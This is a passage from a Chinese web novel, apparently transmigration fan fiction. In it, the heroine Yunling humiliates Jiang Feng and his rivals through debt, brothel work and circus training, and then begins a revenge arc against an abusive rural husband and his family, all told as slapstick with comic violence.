云灵瞥了他一眼,鄙夷道:“那是刑具吗?我不是跟你过了?那是治病要用的工具,要是没有那些工具,你活得下来吗?不该付钱吗?我移花宫要养那么多人,难不成你想白吃白住?还想连吃带拿?什么人啊!”
江枫再次震惊,他从没有听过用铁针治病的,那么粗那么长,不仅扎过他的脚底板,还扎过他的腰子,谁家治病是捅腰子的?
他受不了这口气,立即反驳:“你家治病!是扎人腰子的吗!啊!”
云灵义正言辞地颠倒黑白:“没错,你这不是没死吗?要是死了还能在我面前说话?你没死还能在我面前说话,你就应该跪下磕头谢恩了,还是你不想付钱?想赖账?你怎么这么小气抠搜啊!”
“救命之恩比天大!付钱不是应该的吗?我都没让你用命赔,你这人真的是我见过最恶心、最无耻的一个人。”
江枫气得说不出话来,更是一口老血梗在心口,努力了半天还是没缓过来,两眼一翻直接晕过去了。
那清单被他甩了出去,可又被一阵风吹了回来,正好盖在他脸上,将他的脸遮得严严实实的。
云灵看着倒头就睡的江枫,无奈地叹了一口气,看来这个清单又得增长一些账目了。
江枫醒来后,发现这个清单的费用又增长了,气得他当场吐血,但他已经不敢再晕过去。
不然他倾家荡产也还不完了,下半辈子只能在这地狱里面挣扎了,要是一辈子都要生活在移花宫的阴影下,他还不如去死算了。
所以他要立刻马上和移花宫划清界限!
可惜将整个身家都赔给移花宫,他还倒欠了一大笔钱,整整一大笔,那数字砸得他头晕眼花,他都数不清楚那有几个零了。
从现在开始,他恐零!
云灵拍了拍他的肩膀,贴心的安慰他:“别怕,慢慢还嘛。像你这种小白脸,是很受富婆们的欢迎的,卖个十几年的屁股,再伺候十几年的富婆就差不多了,难道你不想和花月奴在一起吗?我们移花宫永远都是你的家呀!这段时间你还没有和月奴培养出感情吗?”
江枫听不得这话,差点白眼一翻又晕死过去。好在他身上有巨额债款,压得他喘不过气来的时候,也给了他无限的抗压能力,硬是猛掐自己的人中,给自己缓了一口气。
“邀月!你真的不是人!”
江枫缓过来后,红着眼怒吼。
“别这样嘛?你看你的脸,我不是给你治好了吗?多美的一张脸啊,一定会很快还完债走人的,别担心啊。”
云灵现在已经不能打他的脸了,所以只能用力地拍着他的肩膀,给他亿点压力,江枫是承受不住的,唰的一下跪地了。
“我的脸难道不是你毁的吗?你替我治好不是应该的吗?”
江枫仰着头,咬牙切齿地看着面前这个恶毒的女人。
从今开始!
他!江枫!厌女!
38. 影视的颠覆世界
“所以今后你便是南风馆头牌了。”云灵微微一笑,袖袍一挥,转身就走了。
“啊!——不要!我不去啊啊啊啊啊啊啊啊啊……”
江枫奋力匍匐在地,双手拼命想要抓住些什么。然而,移花宫的人对待男子冷漠无情,她们抓着他的腿,硬生生拖走了他,只留下一道道抓痕,和那充满悲伤与痛苦的吼叫声。
“口是心非的男人啊,明明就如此迫不及待,啧啧啧。”云灵摇头感叹,果然男人都是这么口是心非的。
怜星……她该如何表达此刻的心情?算了,还是沉默吧。
南风馆因江枫的加入,如虎添翼。云灵更是毫不羞愧地将“天下第一美男子”的名头冠于他。
江枫混迹江湖十几年,自然也有些迷妹和富婆支持。一听说她们的偶像在南风馆工作,自然是要来支持一番,否则怎好意思自称是江枫的粉丝?
于是,她们一个个红了眼,砸钱的速度也比别人快了许多。尤其是当她们看见那溜着头发、穿着薄纱、一副勾栏样的江枫,她们便彻底疯狂了。
江枫被培养得很好,他的话语温声细语,不仅如此,他还会煮饭、针织、琴棋书画样样精通,关键是还长得俊美,直接满足了所有人心目中的好男人形象!
因此,来南风馆的富婆姐姐必点江枫!当然,男人来南风馆也是必点江枫!那可是“天下第一美男子”,美得很!谁没有好奇心呢?
既然好奇,那必得花钱试一试。但江枫的魅力极大,一试之下,他们便沉迷其中,不可自拔,一度让江湖风气为之一变。
从前,他们只是讨论谁的武功高,现在他们讨论江枫的性取向。男人们说江枫喜欢男人,女人们说江枫喜欢女人,两方皆有证据,对此辩论不止、吵闹不停。
可惜,谁都没有服对方,但他们谁都不服气。
不服气就要砸钱!哪方砸的钱多,江枫就伺候谁?伺候的男人多,那就是男人赢;伺候的女人多,那就是女人赢。
两方人都在这一方面达到了高度的一致。
正是因为这些人不懈的努力,疯狂的砸钱,南风馆开遍了各地!
女人想要上南风馆,没钱怎么办?那就只能努力!把家业掌握在自己的手中,让自己得到财富,成为一家之主!
随着这样的女性越来越多,南风馆的生意蒸蒸日上。移花宫的男德学堂,顺应时代也开了起来。
男人不贴心怎么办?送进男德学堂。男人不会煮饭怎么办?送进男德学堂。男人不孝顺岳母娘亲怎么办?送进男德学堂。男人生不出孩子,还要喝酒赌博怎么办?当然是送进男德学堂啦~
移花宫男德学堂,解决所有女性的困扰,给所有女子一个完美的丈夫。让您不再操心家务,让您能够放心地出去打拼,让您能够无忧无虑,回家就能吃上热饭,出门还能穿上干净的衣服……老公孩子热炕头,将是每一位女性的梦想!
只需十两!只需三个月!您将会收获一位完美的丈夫,您下半生将会舒舒服服地过完。
送进移花宫男德学堂,您绝对亏不了!
移花宫男德学堂,欢迎您——男人的到来。
江湖传言,移花宫的邀月宫主,以其非凡的武功和独特的手段,令江湖中人无不敬畏。
江湖中人早前被云灵焮了个底朝天,翻不起什么大浪。
在绝对的武力面前,一切阴谋诡计都是纸老虎。
云灵向来喜欢用武力解决问题,动脑不是她的强项。
以至于现在的江湖人基本都放下武器,与移花宫成为了一家人,云灵不知是什么原因,或许,是因为爱吧!
在这份大爱的推动下,江湖彻底统一了,大家都变成了好姐妹,再也没有深仇大恨。
大家还特别热心,主动推崇邀月宫主为武林盟主。
云灵觉得自己还年轻,不够资格,谦虚地推让了好几遍。可大家非要让她做武林盟主,不做就自刎。
云灵没有办法,含泪成了武林盟主,怜星则成了副盟主。她们成功达成了“姐不在江湖,江湖却处处有我的传说”的伟大目标。
至于朝廷那边,他们早已腐败不堪。
皇帝贪图享乐,大臣们贪赃枉法,一副只要今日快活,明日生死何妨的模样。
朝廷中也有人想要管,但他们只是想维护自己的权力而已。
他们不敢想象,如果男德真的普及开来,他们的生活会变得多么悲惨。他们不想在家照顾孩子、照顾岳母娘亲……
所以,他们必须压制!带兵去攻打,但当晚云灵就找他们亲切友好的会谈,又一番推心置腹之后,有灭了移花宫的人,都成功打消了这个念头。
再加上,上面的人还不给他们钱粮。一问才知道,原来都把钱用来自己享乐了,半分都挤不出来
在这种状态下,朝廷只能宣告认输,灰溜溜地回去。
但他们不甘心,就开始玩起了脏的。
针对男德学堂,他们开办了女德学堂,不准女人出门,强迫女人在家带孩子洗衣做饭,各种压榨女人,也不许男人去男德学堂,各种强制压迫。
这么做的后果是国家财政税收的减少,女人们被限制,没有人去光顾商铺,商贩们就做不下去,做不下去就没钱交税纳税。
因此,上头的人没有钱玩乐,直接就大发雷霆。
同时,他们还忘记了偶像光环有多恐怖!
江枫虽然下海,现在是一只伺候人的鸭子,但他可是天下第一美男子,是无数女子的春闺梦里人。
朝廷不让她们出去,就意味着她们见不到偶像,她们见不到偶像,她们就会思念成狂,在心中不断地美化江枫的美好形象。
所以朝廷不是在压榨她们,这是在阻止她们奔向美好的生活。
多压榨一分,她们就少一分幸福生活,这不能忍啊!
只要不放她们出去,她们就在做饭的时候往菜里面放耗子药,死一个算一个,大不了一起死!反正见不到偶像,比死了还难受!
在大家共同的努力下,丧葬行业逐渐发达了起来。
可是一家欢喜一家忧,死的人多了,国家劳动力就少了,劳动力少了皇家就岌岌可危了,他们也不得不撤回这么一条禁令。
这一场朝廷和移花宫的对弈,朝廷惨败。
于是,一场旷日持久的博弈在暗中展开。
朝廷不惜动用舆论之剑,散布谣言,声称南风馆的男人都有病,沾上必死,甚至用各种言语诋毁,试图抹黑南风馆的名声。
谣言一出,江湖中人纷纷为自己的相好辩护。
南风馆的男人只是想给他们温暖,给他们惊喜,他们有何错?他们清清白白,凭自己的本事吃饭,为何要受到污蔑?
“他们只是想给每一个人一个家,他们平等爱着我们每一个人,他们有何错?”江
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湖中人愤怒地反驳。
朝廷的官员们对此感到无语,他们不明白,一群男子有何好玩之处,为何那么多人愿意为他们花费巨资。他们愤怒地指责:“交税的时候你们没钱,嫖鸭子的时候你们有钱是吧?!”
愤怒之余,他们也产生了好奇心。
他们乔装打扮,决定亲自去南风馆一探究竟。他们告诉自己,这只是为了了解敌人,从而瓦解敌人,绝不是自己想去。
在南风馆,他们体验到了前所未有的服务。那些男子不仅温柔体贴,还关心他们的身心健康,甚至比妻子还要温柔。他们的心灵被深深触动,无法自拔。
在鸭鸭们的努力下,每一个来南风馆的人,都在南风馆找到了属于自己的另一半。
虽然另一半很博爱,虽然另一半有很多另一半,但是他们可以包容他们,就像他们用爱包容他们一样。
于是,博弈结束了,反对的官员也加入到了其中。他们真的不能离开他们的另一半啊!
为了不让人嘲笑他们沉迷于男色,他们翻阅书籍寻找例子,就是为了在别人嘲笑他们的时候反击别人。
男人和男人在一起,这才是阳刚之气!
就这样久而久之,男德算是成为了一种主流。
尤其是后面有位公主造反了,也不知道是不是受到这种思潮的影响,直接把她老爹踹下龙椅,自己当女帝了。
为了好管理,也为了维护正统地位,直接承认了男德学堂的正统性,还派人与移花宫合作,成功达成双赢局面。
你好,我好,大家都好。
小鱼儿和花无缺他俩炮灰了。
花月奴那是一点都不想跟江枫沾上关系,实在是太脏了,她根本下不了口。尤其是一想到江枫肾不行,她就更嫌弃了。
所以小鱼儿和花无缺没了。
江玉燕呢?也炮灰了。
江别鹤还没对江玉燕的母亲下手,就被云灵抓回来当头牌了。
不仅如此,江玉凤也炮灰了。
没了她们人生还是挺寂寞如雪的,但别的女孩子还在,都能好好的活着。
铁心兰他爹不忍心让女儿学武功,但不学又不行。
于是秉承着眼不见心不烦的老话,把他女儿丢到了移花宫,让别人来教他女儿,他看不着,那他就不会心疼了。
云灵和怜星是沉默的,实在是咽不下这口气,揍了铁心兰他老爹一顿,又捞了一大笔钱,这才让铁心兰留了下来。
苏樱继续跟她老爹学习医术,大家都有一个美好的未来!
一晃数十年,江枫已经从天下第一美男子的位置上让位了,和他的好大哥燕南天退居二线了。
给年轻人让位置嘛,都是他们老一辈应该做的。呜呜呜呜呜……
苏樱告别她老爹后,到江湖上救死扶伤,闯出了医仙的名头。
铁心兰在怜星培养下优秀的不行,但是她有自己家的山庄继承,移花宫是不能交她的,但凡有家室都没有资格继承。
因此只能重新培养了。
想来也是缘分,找到了一对无父无母的姐妹花,两人资质都很出众,也特别的努力,她们还继承了移花宫的意志,都坚持将男德发扬光大,坚持将移花宫做大做强!同时她们还水泥封心了。
将移花宫交给她们,云灵和怜星是很放心的。
正式交给她们后,云灵和怜星直接离开去旅游了。
39. 影视的颠覆世界
她们游历了大好河山,游历了西域风情,游历了西方文明,直到心满意足,才回到了移花宫。
移花宫在这些年与皇室的合作更加紧密,皇室甚至愿意将储君送至移花宫。
女帝显然不愿将权力让给男子,因此送来的储君是女子。
云灵提醒她们,移花宫不可成为朝廷的打手,要保持独立,避免卷入政治斗争。
合作伙伴的猜忌,人心的敬畏,都是她们必须考虑的。
素星和素月是怜星收的徒弟,她们在这些年将移花宫发展得很好,但也有些急于求成。
在云灵的提醒下,她们立刻停止了与朝廷的多项合作,只保留了男德学堂这个合作项目,经济合作全部中断。
经济命脉绝不能掌握在别人手中,这是她们的底线。
云灵对她们的表现很满意,相信她们将来会更加谨慎。
回到移花宫几天后,云灵在南风馆看到了洗衣服的江枫。
江枫和燕南天都还活着,刘喜和江别鹤也未死去。
云灵决定邀请他们聚一聚。
在移花宫的地牢中,四人相聚,脸上都带着愤恨。
燕南天和江枫已不再是兄弟。
在南风馆的日子里,他们为了争夺客人和头牌的位置,相互竞争。
燕南天从未赢过江枫,两人关系破裂后,江枫还曾阴阳怪气地对待他。
后来,燕南天转到后厨打杂,江枫还曾陷害他,让他在江别鹤的妻子面前受尽屈辱,本就虚弱的身体更加肾虚。
他恨啊!当初都是为了江枫,他才堕落,结果江枫却翻脸不认人。
江枫也对燕南天感到厌烦。
他们本就不是一路人,一个是白月光,一个是朱砂痣。
朱砂痣和白月光不能共存,尤其是在他们这样的行业,只有一个能成为顶级头牌。
他们的竞争不可避免,而燕南天的手段也让他难以忍受。
既然燕南天无情,江枫也决定无义。
他直接翻脸,毫不畏惧。
作为顶级头牌,他有足够的面子和底气。
刘喜与江别鹤之间的恩怨,可谓是一段江湖上的传奇。
从翁婿关系到同台竞争,再到打杂时期的争斗,他们始终是彼此的宿敌。
在南风馆,两人都是头牌,业务上的纠纷更是层出不穷。
江别鹤以白面书生自居,与江枫风格相似,却始终不及江枫的容貌与名气。
尽管他巧舌如簧,能言善辩,但在争夺客人上始终无法胜过江枫,无奈之下只得转型。
他曾试图模仿燕南天的粗犷豪迈,却因身材不如而放弃,不愿自取其辱。
刘喜则以阴柔之美著称,在这一方面收获了不少红利。
江别鹤见状,决定转型为忧郁型,却又要与刘喜有所区别。
他将自己打造成高冷、忧郁而又令人怜爱的形象,待客人心生怜悯后,又假装敞开心扉。这一环扣一环的计谋,让无数客人深陷其中,无法自拔。
那一段时间,江别鹤抢走了大批客人,尤其是刘喜的。
因此,两人的恩怨愈发深重,到了你死我活的地步。
在他们的当红时期,粉丝之间的砸钱攀比更是激烈,两人输赢参半,谁也没能压过对方一头,自然恩怨又加重了。
到了落寞时期,本就生活艰难,江别鹤还要来抢刘喜的份额,刘喜恨得咬牙切齿,恨不得一口咬死他。
江别鹤也恨刘喜入骨,如果不是刘喜,他也不会沦落至此,伺候男人,受尽委屈。他恨啊!
因此,他们之间不仅是个人恩怨,还牵扯到了其他人。
在牢房之外,他们还能维持表面的和气,毕竟都是注重形象的人。
但一旦关在一间牢房里,抬头不见低头见,心中的仇恨就容易发酵,就算没有仇恨也容易滋生。
瞬间,四人就打成了一团。
最先出手的是江别鹤,他对江枫的恨意深入骨髓,尤其是他们同姓江,比较起来更是让他颜面扫地。这些年,他从未赢过江枫一次。
刘喜在牢房里也曾多次暗算江别鹤,所以这一次他一定要赢过江枫,勇敢地扑了上去。
“江枫!你去死!”江别鹤虽然身体瘦弱,但力气却不小,这些年洗衣服的辛苦并非白费。
他打江枫时,脸色狰狞,甚至用上了牙齿,死死咬住江枫的手,硬生生撕下一块肉来。
“啊!——”江枫被江别鹤偷袭,一时没反应过来,随着剧烈的疼痛席卷而来,他也红着眼睛开始反击,随即与江别鹤打成一团。
“江别鹤!你这王八羔子~你去死!”
刘喜见状,也迈着年老的身体冲了上去,能趁着这个时机打死江别鹤那是他赚了。
可燕南天反应过来后也加入了战团。
四人打得天昏地暗,完全已经失去了理智,根本不管自己打的是谁,只想致所有人于死地!
云灵来的时候,看到的就是这么一副场面。
其实她真的很想给他们递一把刀,但随即一想,就这么死了,太便宜他们了。这里面的人个个都是人才,说话又好听,她超喜欢他们的。
所以她留着他们当乐子!
地牢之中,四个江湖上赫赫有名的人物打得难解难分,他们的拳脚狠辣无比,不久,整个地牢便弥漫着浓重的血腥味。
细碎的肉屑四溅,这些曾在江湖上搅动风云的大人物,如今却被囚禁于此,真是天意弄人。
战斗过后,四人已是筋疲力尽,狼狈地倒在血染的稻草之上,任由身上的伤口鲜血直流。
他们的衣衫已被鲜血浸透,显得格外鲜艳。
“好久不见,都还活着呢。”云灵看完这场好戏,终于站出来与他们打招呼。
光阴似箭,他们或许会想念她,但更多的,是对她恨之入骨。
江枫等人听到这熟悉的声音,先是一愣,随即脸上露出不可置信的神色。
他们用尽最后一丝力气,翻身抬头望去,果然看到了站在牢房门前的云灵。
“你们这也太激动了吧?果然男人都是口是心非的。”
云灵连退几步,她身上的裙子可是新做的,若是弄脏了,她可不会手软。
“啊!!邀月!你居然还没死!你居然还没死!啊!啊!啊……”江枫一手抓着牢房的铁栏,一手拼命地往外伸,他的眼睛红得几乎要滴出血来,此刻的他,就像一头被困的野兽,想要撕碎眼前的敌人。
“你都没死,我当然活着了。”云灵无奈地叹了口气,“大家都是老朋友了,不用在乎这些虚礼。”
江枫被气得说不出话来,他感觉自己在云灵眼中就像个跳梁小丑,只能徒增笑柄。
他气得心肝脾肺俱疼,若是能吐血,他定要吐邀月一脸。
刘喜他们也爬了过来,抓着牢房的门大吼大叫:“放我出去!”
“邀月啊啊啊啊让我出去!”
“啊啊我错了!啊!放我出去啊!”
云灵伸出一根手指,冷漠地拒绝:“不行,地牢是你们的归宿,好好在这里待着吧。”
她又佯装难过道:“难道你们不想和我白头偕老吗?你们就这么冷漠无情吗?我们之间的情谊,在你们的眼里一文不值吗?”
“那年初遇,不是你们和我要永远在一起?怎么如今翻脸翻得这么快?杏花微雨,终究是错付了。”
他们震惊了,沉默了,无语了,下巴都快掉地了。
没想到多年不见,邀月折磨他们也就算了,还要恶心他们。
还在一起?谁要和她这个毒妇在一起?!
还情谊?他们之间哪有情谊?是她单方面虐待他们的情谊吗?
如果是这样的话,那对不起,他们不是受虐狂,谢谢!
云灵看着他们血肉模糊的脸上露出震惊的模样,就知道他们还能活很久,她挂上一个微笑,臭不要脸道:“说话呀?是愧疚了吗?你们要是向我道歉了,我会代表月亮原谅你们的。”
江枫他们到底是年轻气盛,完全忍不住,一口鲜血喷出,两眼一翻,彻底晕死过去。
如果有神明,请让他们现在就死!而不是让他们继续活着面对这个毒妇。
他们是一刻也不想看见这个毒妇。
太恶毒了!!!从来没有见过那么恶毒的人!
若是给他们一个重来的机会,他们宁愿死,也不愿意和这个毒妇有任何的瓜葛!
“年轻就是好,倒头就睡,一点顾虑都没有。”云灵感叹着,随后晃悠着离开了地牢,她并不急于与江枫他们叙旧。反正这旧至少还得再续个七八年,她有的是时间。
江枫他们自然也不着急,他们的命运早已被云灵掌控。
云灵离开地牢后,意外地遇到了花月奴。
花月奴如今已是男德学堂的副理事,在外风光无限,但在云灵面前,她依旧畏畏缩缩。
她刚回来述职,就不幸地撞上了云灵。
“月奴啊,好久不见,你还是那么漂亮,不愧是我移花宫的门面。”云灵打量了一下花月奴,真诚地夸赞了一句。
花月奴一听,脸色瞬间惨白,哽咽着跪在地上磕头请罪。她宁愿听云灵骂她,也不愿意听她夸奖她。谁知道这是不是最后的赞美?
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她真的害怕!
云灵伸手拍了拍她的肩膀,安抚道:“你做的很好,罚你干什么?你是不是对我有太多的误解了?”她那么和善的一个人,怎么可能迫害一个女孩子呢?而且她从未对她下过手,真是的。
“呜……”花月奴不知道该说什么,但她是真的挺想哭的。毕竟点头也不对,摇头也不对,真是想去死!
“月奴,外面再好终归不是家,移花宫才能给你温暖呀。”云灵简单的叙了两句旧,将花月奴拉起来后和善地拍着她的肩膀,十分真诚地道:“所以我有一个任务交给你,这个任务只有你才能完成,月奴,你愿意为移花宫奉献吗?”
花月奴哭丧着一张脸,重重地点了点头。
“很好,不愧是我们移花宫的人才!有你真是我们的骄傲!”云灵很开心,当场给了花月奴一个大大的拥抱!
花月奴挂着僵硬的笑容,着实不知道该说什么。她就想找个地方暴风哭泣,谁让面前这个人太反常了,让她心中升起了一种不好的预感。但不得不承认,她的预感是真的很强。
当她站在新修建的驯兽场上,指挥江枫他们的训练的时候,这个预感准确地应验。
她从一个风光无限的男德学堂副理事,变成了驯兽场上的场长,这工作从天上一下子落到地上,搁谁,谁接受得了啊?
呜呜呜呜呜……
关键是接替她工作的人是花星奴,不仅接替了她的工作,她还升了职成了主理事。
这么一想,她更难过了。
可她是一个要面子的女人,她不能在光天化日之下哭泣,她要化悲愤为动力,只要她把江枫他们训练好了,她一定能重新走上人生巅峰!
加油!花月奴!
给自己打完气的花月奴,更加卖力地投入到了工作中。
但由于这份工作不是她自己想要的,对工作抱有十分严重的情绪,身为工作对象的江枫他们,就变成了最好的发泄目标!
江枫他们自上次晕倒后,云灵就没去看过他们了。
但想着他们闲着也是闲着,所以就决定让人训练训练他们。等训练好后还能给移花宫增加一些钱财收入,为此还专门修了一个驯兽场,就为了给他们一个展现自己魅力的问题。
因此,江枫他们伤好后,连着铺盖一起打包来了驯兽场。
驯兽场上,黄沙漫天,烈日炎炎。
江枫他们面朝黄土,背对烈日,一个个匍匐在地,准备跳过花月奴为他们精心准备的火圈。
火圈上的烈焰熊熊,稍有不慎,便是烫伤,甚至摔入火中,留下一身疤痕,痛苦不堪。
江枫他们心中充满了恐惧,每次跳跃都是对生死的挑战。
随着跳跃次数的增加,他们对花月奴的恨意也越来越深。
移花宫的女人,果然都是心狠手辣,从上到下,没有一个是善良的。
花月奴在一旁监督着他们,享受着大伞、茶水、摇椅,还有新鲜的水果和冰块。
她的待遇与江枫他们天壤之别,但她心中的怒火并未因此平息。
她站起身,提着沾了盐水的鞭子,对不认真的江枫就是一鞭。
江枫一个踉跄,差点跌入火圈,好在反应迅速,躲开了致命一击,但他的头发却因此被火焰吞噬,成了光头。
他痛苦地呻吟着,但花月奴的鞭子并未因此停下。
“快跳!”花月奴厉声喝道,又是一鞭。
江枫痛得跳了起来,顾不得悲伤,再次加入了跳跃的行列。
盐水鞭子的威力极大,一鞭下去,皮开肉绽,痛苦不堪。
他们宁愿跳火圈,也不愿再受鞭打之苦。
在花月奴的严格训练下,他们终于能够熟练地跳过每一个火圈。
云灵得知后,带着怜星前来检查,对他们的表现大加赞赏。
花月奴更是信誓旦旦地保证,会让江枫他们学会更多的技能。
高空走铁丝、吞大刀、胸口碎大石、上刀山下火海……花月奴能想到的,江枫他们都要学。
他们的生活变得无比艰苦,从早到晚,几乎没有休息的时间。
半年后,江枫他们终于出师,移花宫戏团正式成立。
只需一两银子,便可观看他们的表演。
尽管他们已不再年轻,但仍有不少粉丝前来支持。
江枫他们心中充满了无奈,但也只能含笑表演。
随着时间的推移,江枫他们的命运愈发坎坷。
最终,他们被无情地抛弃,沦为乞丐,甚至被野狗啃食。
而花月奴则光荣退休,偶尔给孩子们讲述自己年轻时的故事……
40. 团宠世界
云灵与怜星,自从南风馆进入正轨之后,她们将银钱都投入到了女子学堂。
在女帝的赞成下,女子学堂遍及全国各地,女子学堂专门教导女子善德,自立自强。
所授知识为朝廷培养了一代又一代大才,她们三观奇正,善德仁爱,让整个国家发生了翻天覆地的变化。
移花宫庇护天下女子的夙愿,一步步成为现实。
怜星寿终正寝以后,云灵带走了她,任谁也不知晓她们去了哪里。
后来,这个世界,慢慢进入到了女尊世界。
移花宫,一代代流传,依旧在庇护天下女子。
******
云灵刚降临一个全新的话本世界,耳边就传来一声怒吼:“贱女人,快跟妈道歉,不然老子打死你!”
“啪!”一声清脆的耳光响起。
朴世仁将歪向一边的脸正了过来,眼中满是不可置信。
他,他竟然被那个女人扇了一巴掌?
“臭娘们,你去死!”他愤怒地咆哮,声音中带着一丝哭腔。
云灵随手拿起一块抹布,塞进了他的嘴里:“你太吵了。”
紧接着,她一掌将他拍翻在地,开始了一顿拳打脚踢。
“你吵到妈了,你知道吗?你怎么这么不孝顺!你这不孝子,我今天就好好教训教训你!”
“呜呜呜……”朴世仁被打得翻了白眼,他的嘴被抹布堵着,半句话也说不出来。
“云灵,你这是干什么?你要把你男人打死吗?”艾侽怒瞪着云灵,往后退了两步。
她感到了一丝害怕——这大儿媳是不是疯了?
云灵停手,平静地说:“妈,这不孝子惹您生气了,我已经帮您教训他了。”
“云,云灵,我看你是活腻了!”艾侽看着瘫倒在地的儿子,手都抖了,指着云灵尖声喊道。
她自认为受了天大的委屈,但在别人的耳朵里,事情却并非如此。
云灵的声音不大,但艾侽和朴世仁都是大嗓门,他们的声音能穿透几层院子。
他们刚骂完,接着又是一阵击打声,听到的人都以为是原主又挨打了,不少人都为她鸣不平。
在这个村子里,虽然也有打媳妇的事情发生,但没有人像朴世仁这样对待原主的。
再说,原主是多么好的人啊,她既大方又能干,家里家外的活儿都能拿得起来。
这样的好媳妇儿,无论到了谁家,都会被当成宝。
然而,在朴家,她却成了被践踏的草。
隔壁的胖婶儿刚感叹完,抬眼看见一对男女,急忙迎过去:“你们快回去看看吧,你们家里出事了。”
来的这对男女是艾侽的二儿子朴为善和儿媳李招娣,他们刚从田间劳作归来。
胖婶儿知道找朴为善无济于事,便拉住李招娣叮嘱道:“招娣,你大伯子又在打云灵了,我听着打得挺重的,你快去劝劝,别把人打坏了。”
李招娣心中暗自撇嘴,活该。
谁让云灵不懂得做人,明知道这个家里艾侽才是当家的,她却偏偏不知讨好。
她不挨打谁挨打?不过这话她不会说出来,她还要维护自己贤惠的形象呢。她堆起一个笑脸,“放心吧婶子,我大伯子就是一时的脾气,过了这个劲儿人家两口子好着呢,我这就回去劝劝。”
说笑着进屋,没想到进门她就傻了眼。朴世仁正吭哧吭哧地从地上爬起来,艾侽看见他们急忙扑过来,“老二,你大嫂疯了,不光跟我吵嘴,你大哥说了她两句,她就把你大哥打了!”
朴为善愣住了,“大嫂,你这也太不像话了!”
“呸呸”,朴世仁吐出抹布,“这娘们疯了,咱俩一起上,好好教训教训她!”他必须让云灵知道这个家到底谁做主!
然后云灵就让他们知道了到底谁做主!
关键她还扒下了艾侽的袜子,给他们哥儿俩一人嘴里塞了一只,好家伙,这个酸爽就别提了!
他们一边被打一边干呕,发现袜子要掉出去,云灵还会好心的帮他们塞回去。
“你娘的袜子你们还敢嫌弃?你们忘了妈是怎么一把屎一把尿把你们喂大的!我这就替妈教训你们这俩忘本的东西!”
你才是屎尿喂大的!
无奈兄弟俩嘴被堵着,要说话还得咽点口水下去,那可都是泡过臭袜子的。
呕,更恶心了!
不一会儿,他们就只剩喘气的份儿了。
云灵整整衣袖,“你们好好反省一下,想清楚怎么做一个合格的孝子。我先去睡了,唉,为了这个家,我心都要操碎了。”
第二天,云灵出去玩了,才懒得理会这家人,直到晚上,才慢悠悠回来。
看云灵回来,艾侽用鼻子哼了一声,便调过头去。这个大儿媳竟敢跟她装疯卖傻,她非得给云灵点颜色瞧瞧不可。
到了晚上,朴世仁迈着四方步进了云灵的屋,清了清嗓子,等着云灵像原身一样伺候他。
看云灵不动,他拧起眉,“你怎么回事?给你点脸你还真拿自己当人了?快给我打洗脚水去!”
这娘们要是上了那股疯劲儿,他还真有点打怵,可他现在没发现什么异样,看来云灵就是疯一阵子,那也没什么可怕的。
云灵震惊:“我?给你打洗脚水?”
“对呀,你当女人的不伺候男人,难道还指望男人伺候你?”他朝床努努嘴,眼中闪过一丝淫邪,“你今天还真得好好伺候伺候我,给我生个儿子。妈说了,我是长子,我的香火不能断。我还跟你说,你要是再生不出来,老子就踹了你!”
他仰着下巴,腆着肚子,一副“快把自己洗干净等着朕临幸”的样子。
他看看云灵,原主的长相不差,就是常年操劳,日子不顺心,弄得皮肤黑黄,还有不少细纹。这会儿灯光昏暗,遮去了这些缺点,只显出尚余几分精致的眉眼。
朴世仁咂了咂嘴,“叫你打点水也磨磨蹭蹭的,算了,等会儿一起洗吧。”
他凑上就要搂云灵。
云灵一掌把他拍离,冷笑道:“好,那我就好好伺候伺候你!”
她呼唤神祇宝典布了个结界,就算这屋子里闹破大天,外面也听不见了。
然后拿出绳子,把朴世仁牢牢绑到床上,卜世仁还没明白怎么回事呢,眼前一花,已经被捆好了。
“喂”,他拼命晃动,“你这娘们又发疯了是不是!快点放开,不然老子废了你!”
绳子绑的很紧,他挣扎了半天,没挣开分毫,反而把手上的皮都磨破了。
云灵不理他,他开始求救,喊艾侽,喊他弟弟,最后顾不得面子,连弟媳都算上了。
他嗓门大,又挣命去喊,按理说邻居都该被他惊动了。可惜不管他怎么喊,都没人理他。
云灵冷冷瞥他一眼,“叫破喉咙也不会有人理你的。”
“你要干吗?我跟你说,我可是你男人,你要是伤了我,以后可就没有依靠了,村里人都会对你指指点点的。趁早放开我,我就当这事没发生过。”
他真是后悔死了,就不该听他妈的话,老婆好像真疯了,听说疯子杀人是不用偿命的。呜呜,他大好年华,连儿子都没有呢,他可不想死啊!
“依靠?你怎么好意思说的?我能靠着你什么?地你种过多少?家里的活儿你又干什么了?还敢说让我依靠,哪来的那么大脸!”
“那,那你到底要干吗?”
朴世仁全身哆嗦,豆大的汗珠滚落。
云灵笑眉扬起:“干你。”
云灵一脚踩下,朴世仁眼睛瞪得老大,惨叫一生,晕了过去。
云灵也没做什么,不过是废了他引以为傲的玩意罢了。
天蒙蒙亮时,云灵去砸艾侽的房门。
艾侽睡得正香,突然被吵醒,心突突直跳,再一看窗外,鸡都没叫呢,瞬间气不打一处来。
“你个臭婆娘是要作死啊,看我不让老大打死你!”
她骂骂咧咧去开门,刚一打开,云灵揪住她,拎鸡仔一样把她拎到了厅堂。
艾侽一口气差点没上来,“你,你想干吗?”云灵一把把她按到椅子上,“晨昏定省!”
什么?艾侽大张着嘴,懵了。
云灵也不跟她解释,去到朴为善和李招娣屋里,把他们扯起来,推到艾侽面前。
他们两口子睡得迷迷瞪瞪,突然头上撕心裂肺地疼,一睁眼就是艾侽一张紫茄子色儿的大脸,吓得叫出声来,“妈呀,到底怎么回事啊?”
“你们问我干吗?问这个疯女人!我都操劳一天了,她还大半夜不让全家睡觉,这是想要我的命啊!
世仁,世仁呐,你就看着你媳妇这么欺负你妈?”艾侽的眼泪说来就来,这是她的看家本事,当年她就是用这一招气死了她婆婆,辖制住了她老公和三个儿子。
她用这招对付老实的原主也是无往不利,过去无数的经验都证明了这点。
尖利的高分贝近在耳边,真是吵死了。云灵揉揉耳朵,“你别吵了。”
“老头子,你怎么走得这么早……”
“别吵了。”
“剩下我孤儿寡母,任人欺负,我这就……”
“咔吧。”
椅子的两个扶手被云灵硬生生扭下来,“我说,别吵了。”
“嘎!”艾侽眼中满是恐惧,扁扁嘴,不敢哭了,收得太急,还发出了一声鸭叫。
知道听话就好,云灵对他们三个训起了话,“咱们家最讲究孝顺,但孝顺不能光嘴上说说,得落到行动上。从今天起,咱们也要像古人一样,早晚跟妈请安,好好照顾妈,谁要让妈有一丝不舒服,我拿他是问!”
朴为善从被窝里被揪出来,就穿了个大裤头,光着膀子,头皮生疼,夜风一吹,打了个喷嚏,“你这娘们——”
